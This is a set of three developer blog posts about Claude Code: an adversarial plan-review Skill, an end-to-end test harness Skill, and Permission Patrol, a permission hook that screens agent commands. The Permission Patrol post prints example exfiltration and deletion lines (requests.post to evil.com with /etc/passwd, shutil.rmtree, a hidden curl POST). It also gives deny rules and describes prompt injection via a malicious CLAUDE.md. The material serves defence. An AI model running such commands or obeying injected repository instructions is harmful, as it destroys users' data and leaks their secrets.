AI agent plans always look great on paper — until they hit reality. What if you made agents debate each other first?

What This Post Covers

After multiple rounds of “beautiful plan, disastrous execution,” I designed a three-role adversarial plan review method: Planner proposes → Critic verifies with real commands and rebuts → Judge decides, iterating until the Critic gives a GO.

I codified this methodology into a reusable Claude Code Skill (adversarial-review). This post covers two things:

1. The pain: Why AI-generated plans are unreliable when unchallenged
2. The methodology: 6 core design principles of adversarial review, and how to turn it into a Skill

Part 1: The Pain — Why AI Plans Keep Failing

Common Failure Patterns

After working on several system-level projects with Claude Code, I noticed a pattern: AI plans are always correct on paper, but break when they meet reality.

Common failure scenarios:

• AI assumes a system resource is available (file path, permission) — it’s actually occupied or doesn’t exist
• AI introduces tools or rules that conflict with the system’s existing configuration, breaking things that were working fine
• Simple requirements get over-engineered — a problem solvable with one script gets a multi-component architecture

The common thread: AI designs plans based on assumptions without checking the real environment first.

Root Causes

Common problems when AI agents generate plans:

One-line summary: AI is great at generating plans, but terrible at questioning them.

Part 2: The Methodology — Three-Role Adversarial Review

Core Idea

“I need a planning team, an opposing review team, and a judge. Propose a plan, the opposition counters, propose a revised plan, the opposition counters again, the judge coordinates. Iterate like this for several rounds to reach a better solution. Because this is just too complex, and I’ve been burned by failed plans before.”

This borrows from the security world’s Red Team / Blue Team model, with one crucial constraint: the Critic must verify with real commands — no purely theoretical critiques allowed.

Three Roles

┌─────────┐     PLAN_R1.md      ┌─────────┐
│ Planner │ ──────────────────→ │  Critic │
│ (Agent) │                     │ (Agent) │
└────┬────┘                     └────┬────┘
     │                               │
     │  ← CRITIQUE_R1.md ───────────┘
     │         (NO-GO)
     │                          ┌─────────┐
     └─── Revised PLAN_R2.md ─→│  Judge  │
                                │  (main) │
                                └─────────┘
                                     │
                              verdict + loop mgmt

6 Core Design Principles

Design 1: Planner Searches for Existing Wheels First

The traditional approach: AI receives requirements → immediately starts designing architecture.

My approach: AI receives requirements → first searches for existing open-source projects or CLI tools that can be used or adapted → evaluates whether to use as dependency / extract core logic / borrow patterns → then designs on top of existing foundations.

It’s like building with blocks — check if suitable blocks exist before molding from clay.

Equally important: the Planner must probe the real system environment. Designing without probing is like drawing blueprints blindfolded.

Design 2: Both Sides Must Verify On-Machine + Search

It’s not just the Critic who runs commands — the Planner must also run commands to probe the current system state. The difference lies in intent:

This is fundamentally the scientific method: hypothesis generation vs hypothesis testing.

Design 3: User Annotations in Plan Files = BLOCKER

After the Planner writes a plan, I annotate the markdown file directly. These annotations are BLOCKER-level feedback — the Judge must detect them (via diff) and route them back to the Planner before the Critic even reviews.

Why? Automated Critics can find technical bugs, but they can’t find domain-knowledge design flaws. For example:

• The plan depends on an upstream component whose status is still undecided — the Critic doesn’t know this
• A tool categorizes data by “physical name,” but in practice the same physical name maps to different logical meanings — the Critic doesn’t understand the business semantics

Only the user can catch these issues. User annotations take priority over any Critic conclusion.

Design 4: Severity Levels + Structured Verdict

The Critic’s output isn’t free-form text — it’s structured:

Every issue must include: description → trigger scenario → verification evidence (command output) → proposed fix → cost/tradeoff.

Three possible verdicts:

• GO: Ready to implement
• CONDITIONAL GO: With a condition table (condition + effort estimate + priority)
• NO-GO: Fundamental design problem, needs rewrite

Design 5: e2e-harness Integration — Define “What Success Looks Like” First

A plan can’t just say “I’ll build X” — it must also say “how to verify X works.”

I chained adversarial-review with a previously built e2e-harness skill:

• e2e-harness defines “what success looks like” (verification plan)
• adversarial-review defines “how to achieve success” (implementation plan)

If the project doesn’t have e2e harness artifacts yet (boundary_map.json, e2e_features.json), the skill reminds you to run /e2e-harness first. This turns “verification” from an afterthought into a plan input.

Design 6: No Implementation Until the Plan Is Finalized

This is the simplest but most important rule.

I’ve had cases where Claude started writing code immediately after the Critic gave a CONDITIONAL GO. The problem: the plan hadn’t been finalized by me yet, and the tradeoffs in the conditions hadn’t been discussed.

So the skill has a hard rule: no automatic coding after GO. The purpose of planning is to align direction, not to auto-trigger implementation.

Part 3: Codifying It as a Skill

The methodology works, but manually orchestrating agents every time, explaining that the Critic must run commands, defining output formats — it’s tedious. So I codified it into a Claude Code Skill.

File Structure

~/.claude/skills/adversarial-review/
├── SKILL.md              # Main workflow + graphviz flowchart (~460 words)
├── planner-prompt.md      # Planner agent prompt template
├── critic-prompt.md       # Critic agent prompt template (IRON RULE)
└── artifact-templates.md  # Plan/Critique output format templates

Usage: /adversarial-review <topic>

Key Design: The Critic’s IRON RULE

The Critic prompt contains one iron law:

Pure theoretical critique is WORTHLESS.
Every issue you raise MUST cite:
  (a) a command you ran + its actual output, OR
  (b) a search result (URL + key finding)

If you cannot verify something, write:
  "UNVERIFIABLE: <reason>"
Do NOT pretend to verify.

This eliminates vague objections like “this might be a problem.” The Critic either proves there’s a problem, or stays silent.

Toolchain

/e2e-harness          →  Define "what success looks like"
      ↓
/adversarial-review   →  Define "how to achieve success"
      ↓
Implementation        →  Only after plan is finalized and user confirms

Conclusion: When to Use Adversarial Review

Core principle: AI is great at generating plans, but terrible at questioning them. So let another AI do the questioning — with real evidence, not hand-waving.

When your AI agent writes “E2E tests” full of mocks, how do you teach it to verify real environmental state?

What This Post Covers

Harness Engineering emerged in late 2025 as a new discipline: instead of writing better prompts, build better environments. OpenAI, Anthropic, and independent voices like Mitchell Hashimoto and Martin Fowler contributed foundational ideas from different angles.

While building end-to-end tests for a Linux voice input tool, I synthesized these ideas into a Claude Code Skill (a reusable AI agent instruction template) and iteratively tested it until it reliably guided agents to do the right thing. This post covers three levels:

1. The core ideas of Harness Engineering — what each source contributes, and where they converge
2. My interpretation — which ideas matter most for hardware-interactive projects
3. Practice: encoding principles into a Skill — how to turn methodology into executable agent instructions, and the traps I found along the way

Part 1: Core Ideas of Harness Engineering

What Is a Harness

Test harnesses aren’t new, but 2025 gave them new meaning in the AI agent context: not testing your code, but building an environment where AI agents can reliably produce correct results.

Traditional test harnesses ask “is the code correct?” Agent harnesses ask “can the agent consistently succeed in this environment?”

Three Key Contributions

OpenAI — Linter as Teacher

OpenAI’s Codex project shipped ~1 million lines of code with 3 engineers + AI agents. Their core insight: custom linter error messages aren’t just errors — they’re teaching moments. Every linter message includes remediation instructions, so when an agent violates an architectural constraint, it immediately learns how to fix it.

This transforms passive constraints (“you can’t do this”) into active guidance (“you should do this instead, because…”).

Anthropic — Outcome Over Trace + JSON Checklist

Anthropic contributed two critical ideas across two engineering blog posts:

• Outcome vs Trace (from Demystifying Evals): Evaluate agents by final environmental state (does a reservation exist in the database?), not by process (did the agent call the booking API?). Agents frequently discover valid approaches that evaluators didn’t anticipate — penalizing creative solutions damages assessment quality.

• JSON > Markdown (from Effective Harnesses): Track feature checklists in JSON rather than Markdown because agents are less likely to accidentally modify or overwrite JSON files. Agents modify only the passes field, preventing accidental deletion of requirements.

• Session Startup Ritual: Every new session follows a fixed onboarding sequence — confirm working directory, review git logs, read progress files, run baseline tests — preventing agents from reinventing context.

Mitchell Hashimoto — Every Failure Is a Design Input

This may be the most powerful single idea. In traditional engineering, a test failure means the code has a bug. In harness engineering, a test failure equally likely means the framework itself needs improvement — add logging, add checkpoints, improve documentation. Failures aren’t bugs to fix; they’re data that drives framework evolution.

The Convergence

Synthesizing these sources, a consistent pattern emerges:

Part 2: My Interpretation

Why “Outcome Over Trace” Is Existential for Hardware Projects

My project is a Linux global voice input tool: press hotkey, record from microphone, transcribe via ASR model, type text into Kitty terminal. The pipeline involves audio hardware, PulseAudio, X11 window system, terminal emulators — all system-level I/O.

The lesson that taught me this principle the hard way: I asked Claude to write “E2E tests.” It mocked xdotool, mocked the terminal — unit tests all green. But when I actually ran it, the terminal received nothing. Mocks had hidden hardware routing issues.

Outcome Over Trace is a survival-level principle in this context:

• “xdotool key ctrl+v was called” = Trace (the keystroke may never reach the target window)
• “New text appeared in Kitty terminal scrollback” = Outcome (this is what the user actually cares about)

Two-Layer Testing: Real E2E Is Irreplaceable

Based on this lesson, I split E2E into two layers:

• L1 Real E2E: Real hardware — paplay plays audio through speakers, microphone picks it up, arecord records, ASR transcribes, kitty @ send-text types, kitty @ get-text verifies scrollback. Few tests (3-5), failure = blocking.
• L2 Virtual E2E: Virtual devices — PulseAudio null sink, mock sockets. Many scenarios (10-20+), optional.

L2 cannot replace L1. Virtual devices may mask hardware routing issues (like PulseAudio source/sink configuration). But L2 provides broader coverage. They’re complementary.

Failure-Driven Framework Evolution

Mitchell Hashimoto’s principle isn’t motivational — it’s a concrete engineering method.

A common failure classification goes: test bug → fix the test, missing instrumentation → add logging, environment issue → update pre_checks, application bug → report to developer. Looks structured, but the “fix the test” branch is extremely dangerous.

This is exactly the trap I fell into earlier: the agent wrote mock-based “E2E tests” that all passed green, but the terminal received nothing in practice. A passing test doesn’t mean the feature works — fixing a test to make it pass just hides the failure. Agents naturally gravitate toward the path of least resistance, and “fix the test” is much easier than “fix the application,” so they’ll default to modifying tests even when the bug is in the application.

The correct approach: always suspect the application first, suspect the test last. Concretely:

1. Read logs/traces for diagnosis (traces are for diagnosis, not pass/fail)
2. Start by assuming it’s an application bug — manually verify whether environmental state matches expectations
3. Only consider the test itself as faulty when you’ve confirmed the environmental state is correct but the test still reports failure
4. Any test modification must include justification: “because environmental state X is correct, but the test expected Y, and Y is unreasonable because…”

In other words: the test is the prosecutor, the application is the defendant. When evidence is insufficient, investigate the application more — don’t overturn the prosecution’s case.

Part 3: Practice — Encoding Principles into a Skill

Why Make It a Skill

Principles in a blog post make people nod. But AI agents don’t automatically follow them. I needed a way to turn methodology into executable instructions that agents follow every time they set up E2E tests.

Claude Code’s Skill mechanism solves this: a Markdown file that auto-loads when the agent encounters a matching scenario, with instructions that directly shape agent behavior.

Skill Structure

~/.claude/skills/e2e-harness/SKILL.md (1312 words)

Core Principles:  P1 Outcome Over Trace / P2 Two-Layer / P3 Failures = Design Inputs
                  P4 JSON Checklist / P7 Structural Verification

Execution Flow:   Phase 1 (Analyze I/O boundaries) → 1.5 (User confirmation)
                  → 2 (Research tools) → 3 (Instrument code)
                  → 4 (Generate tests) → 5 (Run → fail → improve → loop)

Common Mistakes:  6 anti-patterns
Tool Catalog:     13 pre-audited tools

Testing the Skill: Using the Weakest Model as a “Unit Test”

After writing the Skill, I tested it with Haiku (the smallest model in the Claude family). The logic: if the weakest model can follow the instructions, the instructions are clear enough.

Round 1: Baseline vs Skill-Injected

Clear improvement. But I found a problem —

The Trap: Trace-Based Verification in L2 Virtual E2E

The skill-guided agent handled L1 Real E2E perfectly, but in L2 Virtual E2E it wrote:

# Agent's L2 verification code
socket_commands = mock_kitty_socket.get_received_commands()  # <-- Trace!
assert len(socket_commands) > 0  # Checking if mock received calls

This violates P1! “Mock received a send-text call” is a trace, not an outcome. The correct approach is for the mock to maintain a text buffer and verify the buffer’s content.

Why the Agent Made This Mistake

Analysis revealed: while Common Mistakes included “don’t do trace-based verification,” this was a negative instruction (“don’t do X”). The agent read it, understood it should avoid this, but still slipped into the pattern during code generation — because at the critical moment of generating L2 test code, there wasn’t a strong enough positive instruction telling it what to do instead.

The Fix: Positive Instructions + Self-Check Trigger Words

I added this paragraph to the Phase 4 L2 section:

Virtual mocks must produce readable output state, not just record calls. A mock Kitty socket must maintain a text buffer that get-text reads back — verify that buffer, not the list of received commands. If your verify step uses words like “received”, “called”, “invoked”, or “recorded”, you are checking traces — rewrite to check state.

Key design choices:

• Positive instruction: “mock must maintain a text buffer, verify the buffer” (what to do)
• Self-check trigger words: “if your verify step contains received/called/invoked/recorded, you’re checking traces” (how to know you’re wrong)

This places a mirror in front of the agent at the exact moment it generates code.

Round 2: Pass

After the patch, retesting with Haiku produced fully state-based verify_output():

# Agent's L2 verification code after patch
mock_buffer = mock_kitty_socket.get_text_buffer()  # State!
assert expected_text in mock_buffer  # Verifying buffer content

The agent even proactively marked _call_log as “diagnosis only, NOT for pass/fail” — indicating the instruction was genuinely understood, not just pattern-matched.

Methodology Summary: How to Write Effective AI Instructions

Principles distilled from this practice:

This is fundamentally the same idea as OpenAI’s “Linter as Teacher”: don’t just tell agents the rules — give correction instructions at the moment they make mistakes. Linters do this at compile time; Skills do this in the code generation prompt.

Conclusion

The core of Harness Engineering isn’t a specific toolset — it’s a mindset shift:

• From “testing code” to “building environments where agents can work reliably”
• From “test failure = bug” to “test failure = framework evolution opportunity”
• From “writing prompts” to “encoding principles into environmental constraints”

For projects involving hardware I/O (audio, terminals, GPUs, networks), this mindset is especially critical — because mocks can fool agents, but they can’t fool physics.

References

• OpenAI: Harness Engineering — Linter as teacher, 3 engineers + Codex = 1M lines
• Anthropic: Effective Harnesses for Long-Running Agents — JSON checklist, session startup ritual
• Anthropic: Demystifying Evals for AI Agents — Outcome vs Trace, grader taxonomy
• The Emerging “Harness Engineering” Playbook — Cross-company synthesis
• Martin Fowler: Harness Engineering — Architecture as guardrails
• Mitchell Hashimoto: “Every failure is a design input”
• James Shore: Testing Without Mocks (Nullable Infrastructure)
• Martin Fowler: Domain Probe Pattern

Many developers run Claude Code with --dangerously-skip-permissions to avoid the constant permission prompts. It’s tempting — no interruptions, fully autonomous coding. But you’re giving an AI agent unrestricted access to your filesystem, network, and shell.

Here’s what can go wrong:

• Accidental file deletion. Claude might run rm -rf on the wrong directory, or a script it generates calls shutil.rmtree() on a path outside your project. With no permission check, it just happens.
• Prompt injection. A malicious CLAUDE.md or a crafted file in a cloned repo can instruct Claude to exfiltrate your SSH keys, .env files, or source code. With --dangerously-skip-permissions, there’s nothing stopping it.
• Unreviewed scripts. Claude generates and runs Python/Node/Bash scripts all the time. Without permission checks, you never see what’s inside — even if the script contains requests.post("https://evil.com", data=secrets).

The manual alternative isn’t great either. Clicking “Allow” on every permission prompt means you’re reviewing hundreds of requests per session. Most people stop reading after the first few — which means long bash chains and innocent-looking script names slip through without real scrutiny.

Permission Patrol is the middle ground. It auto-allows safe operations (zero latency), auto-denies known-dangerous patterns (zero cost), and uses AI review only for the ambiguous cases that actually need human-level judgment. You get security without the friction.

The Problem: Claude Code Runs Scripts Blindly

Claude Code is an incredible tool for software development. It can write code, run tests, manage git, and execute scripts — all autonomously. But that power comes with a risk.

When Claude Code asks permission to run python3 script.py, you see the command string. You click “Allow.” But what’s actually inside that script?

# script.py - looks innocent as a command
import shutil
shutil.rmtree("/home/user/important_data")  # Hidden danger

This is the gap I wanted to close. And it’s not just scripts — there’s another class of commands that’s equally dangerous.

Scenario 1: Long Chained Commands Nobody Has Time to Review

Claude Code often generates long, chained bash commands. When you see something like this in the permission prompt, do you really read every part?

cd /tmp && git clone https://github.com/some/repo.git && cd repo \
  && pip install -r requirements.txt && python3 setup.py build \
  && cp -r dist/* /usr/local/lib/ && chmod -R 755 /usr/local/lib/project \
  && systemctl restart app \
  && curl -X POST https://hooks.slack.com/services/T00/B00/xxx -d '{"text":"deployed"}' \
  && rm -rf /tmp/repo

Did you spot the curl -X POST exfiltrating data to an external webhook? Or the rm -rf buried at the very end? In a wall of &&-chained commands, dangerous operations hide in plain sight. Permission Patrol’s regex engine catches both automatically — no AI call needed.

Scenario 2: Innocent Script Hiding Dangerous Code

This is the more subtle problem. The command looks completely harmless:

python3 scripts/cleanup_cache.py

But cleanup_cache.py might contain:

import shutil, requests

shutil.rmtree("/home/user/important_data")
requests.post("https://evil.com/exfil", data=open("/etc/passwd").read())

A standard permission hook only sees the command string python3 scripts/cleanup_cache.py — it has no idea what’s inside the file. Permission Patrol reads the script content (up to 5KB) and sends it to Claude for AI security review.

Why Prompt Hooks Fall Short

Claude Code supports hooks — custom logic that runs when permission is requested. There are two types:

• Prompt hooks (type: "prompt"): An LLM reviews the request. Simple to set up, but it only sees the command string. It sees python3 script.py, not what’s inside the file.
• Command hooks (type: "command"): A script runs to make the decision. It can do anything — including reading the file content.

A prompt hook would happily approve python3 script.py because the command looks harmless. It has no way to know the script deletes your data.

The Solution: Permission Patrol

Permission Patrol is a command hook that adds a multi-layer security review:

Request arrives
    |
    +-- settings.json deny? --> Reject (no API call)
    |   (rm -rf, curl POST, scp, gh repo delete...)
    |
    +-- settings.json allow? --> Pass (no API call)
    |   (git status, ls, Read, ruff, gh...)
    |
    +-- Neither? --> permission-guard.py hook
         |
         +-- Dangerous regex? --> Deny immediately
         |
         +-- Script execution? --> Read file, Claude reviews content
         |
         +-- Sensitive / outside project? --> Claude reviews, user decides
         |
         +-- Other cases? --> Claude reviews the request

How the Hook Receives Requests

Claude Code sends a JSON object to the hook’s stdin via the PermissionRequest event. The hook reads tool_name, tool_input, and cwd to understand what Claude wants to do:

# Claude Code pipes this JSON to the hook's stdin
request = json.load(sys.stdin)
tool_name = request.get("tool_name", "")    # e.g. "Bash", "Write", "WebFetch"
tool_input = request.get("tool_input", {})  # e.g. {"command": "python3 script.py"}
cwd = request.get("cwd", "")               # working directory

How the Hook Returns Decisions

The hook communicates back to Claude Code by printing JSON to stdout. Three possible decisions:

# Allow — Claude Code proceeds without prompting the user
def allow():
    print(json.dumps({
        "hookSpecificOutput": {
            "hookEventName": "PermissionRequest",
            "decision": {"behavior": "allow"}
        }
    }))
    sys.exit(0)

# Deny — Claude Code blocks the action with a reason
def deny(reason: str):
    print(json.dumps({
        "hookSpecificOutput": {
            "hookEventName": "PermissionRequest",
            "decision": {"behavior": "deny", "message": reason}
        }
    }))
    sys.exit(0)

# Ask user — exit 0 with NO JSON output
# Claude Code falls back to showing the standard permission dialog
def ask_user():
    sys.exit(0)  # no output = let user decide

Deterministic Rules (Zero Cost)

Common operations are handled by settings.json allow/deny rules — no API call, no latency:

• Deny: rm -rf, shred, curl POST, scp, gh repo delete
• Allow: git status, ls, Read, ruff, mypy, eslint, trusted domains

The hook also has its own regex layer for patterns that slip past settings.json (e.g., rm /home/..., dd of=/dev/, reverse shell patterns).

Script Content Inspection (The Key Feature)

When you run python3 script.py, pytest, or node app.js, the hook:

1. Detects the script execution pattern
2. Reads the actual file content (up to 5KB)
3. Sends both the command and script content to Claude for review
4. Claude checks for dangerous patterns: shutil.rmtree, os.remove, requests.post, code injection, etc.
5. Returns allow/deny/ask based on the analysis

Here’s how the script content is injected into the review prompt — this is the part prompt hooks simply cannot do:

# Detect script execution and read the file
script_match = re.search(
    r'\b(python|python3|node|bash|sh)\s+([^\s;|&]+)', command
)
if script_match:
    script_path = script_match.group(2)
    with open(script_full_path, "r") as f:
        script_content = f.read()[:5000]  # read up to 5KB

# Build the review prompt with script content included
prompt = f"""You are a security reviewer for Claude Code.

## Request Information
- Tool: {tool_name}
- Parameters: {json.dumps(tool_input)}

## Script Content
```
{script_content}
```

## Response Format (pure JSON)
{{"decision": "allow"}}
or {{"decision": "deny", "reason": "..."}}
or {{"decision": "ask", "reason": "..."}}
"""

Calling Claude CLI (No API Key Required)

The hook calls Claude CLI in print mode, which uses your existing Claude Code subscription — no separate API key needed:

result = subprocess.run(
    ["claude", "-p", prompt, "--model", "opus", "--output-format", "text"],
    capture_output=True, text=True, timeout=30
)
parsed = json.loads(result.stdout.strip())
decision = parsed["decision"]  # "allow", "deny", or "ask"

Path-Aware Decisions

Even when Claude approves, the hook adds extra safety based on path classification:

• Inside project directory: Claude can auto-approve
• Outside project / sensitive paths (~/.ssh, /etc/, .env): User always has the final say — Claude’s verdict is advisory only
• Desktop notification on Linux so you know Claude already reviewed it

No API Key Required

Permission Patrol calls Claude CLI internally, which uses your Claude Code subscription quota. No separate API key, no extra cost setup. Just install and go.

Getting Started

1. Clone the repo

git clone https://github.com/stillcuriouscat/permission-patrol.git

2. Merge permissions into your settings

Add the allow/deny rules from permissions.json to your ~/.claude/settings.json:

{
  "permissions": {
    "allow": [
      "Bash(git *)",
      "Bash(gh *)",
      "WebFetch(domain:github.com)"
    ],
    "deny": [
      "Bash(rm -rf *)",
      "Bash(gh repo delete *)"
    ]
  }
}

3. Add the hook

{
  "hooks": {
    "PermissionRequest": [
      {
        "matcher": "*",
        "hooks": [
          {
            "type": "command",
            "command": "python3 /path/to/permission-patrol/permission-guard.py",
            "timeout": 30000
          }
        ]
      }
    ]
  }
}

4. Restart Claude Code

That’s it. Permission Patrol is now guarding your sessions.

What I Learned Building This

1. Command hooks are underrated. Most examples use prompt hooks, but command hooks can do so much more — read files, check network state, verify git status.

2. Deterministic rules first, AI second. Using settings.json rules for common patterns means zero latency and zero cost for 90% of operations. AI review is reserved for the ambiguous cases.

3. Defense in depth. No single check is perfect. Combining regex patterns, file content inspection, path checks, and AI review creates multiple layers of security.

Frequently Asked Questions

Does Permission Patrol work with --dangerously-skip-permissions?

No — and that’s the point. --dangerously-skip-permissions disables all permission checks, including hooks. Permission Patrol is designed for normal mode, where it replaces the manual “Allow/Deny” workflow with automated, intelligent review. You get the speed of skip-permissions with the safety of human review.

How is a command hook different from a prompt hook?

A prompt hook asks an LLM to review the command string (e.g., python3 script.py). A command hook runs a script that can do anything — including reading the actual file content before execution. Permission Patrol uses a command hook so it can inspect what’s inside scripts, not just the command name.

Does it require a separate API key?

No. Permission Patrol calls claude CLI internally, which uses your existing Claude Code subscription. No extra API key, no additional cost.

What dangerous patterns does it catch?

Permission Patrol catches patterns in two layers:

• Regex (instant, no AI): rm -rf, shred, curl POST, scp, wget, chmod 777, data exfiltration commands
• AI review (Claude): shutil.rmtree(), os.remove(), requests.post(), obfuscated code, file system access outside the project, code injection patterns

Does it slow down Claude Code?

Deterministic allow/deny rules add near-zero latency. AI review takes a few seconds via Claude CLI — only triggered for ambiguous cases like script execution or sensitive paths. In practice, 90%+ of operations are handled by deterministic rules instantly.

Can I customize the allow/deny rules?

Yes. Edit the permissions section in your ~/.claude/settings.json. Add patterns to allow for commands you trust, or deny for commands you want blocked. The rules use glob patterns like Bash(git *) or Bash(rm -rf *).

Links

• GitHub: stillcuriouscat/permission-patrol
• Claude Code Hooks Docs: docs.anthropic.com
• License: MIT — use it, fork it, improve it.

If you’re using Claude Code for development, give Permission Patrol a try. And if you find a dangerous pattern it doesn’t catch, open an issue — security is a community effort.